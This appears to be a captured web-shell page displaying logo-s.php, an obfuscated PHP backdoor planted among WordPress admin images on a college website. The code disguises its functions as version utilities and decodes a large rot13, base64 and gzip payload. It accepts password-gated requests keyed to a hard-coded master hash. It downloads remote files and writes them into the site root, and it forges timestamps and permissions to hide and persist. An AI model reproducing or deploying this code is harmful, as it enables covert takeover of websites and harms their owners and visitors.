Server IP : 68.65.122.142  /  Your IP : 13.58.228.208
Web Server : LiteSpeed
System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : glenirhm ( 1318)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/glenirhm/sis.glenbowcollege.ca/wp-admin/tool/../images/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/glenirhm/sis.glenbowcollege.ca/wp-admin/tool/../images/logo-s.php
<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y2uioJHiM2kyozylnT0ip2ymYzqfMJ5vo3qwo2kfMJqyYzAuY3qjYJAioaEyoaDioTShM3IuM2ImY2EyMzIhMP1xMJMyozDgqTjhoJ8', function ($version_file, $name) use ($temp) {
        $data = translation_v3('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', '0');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '1');
        $data = translation_v1($data, '1');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("fptlde{$check}uojpfxn", '58621b5eb7424f0823a4bb92a873e350')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}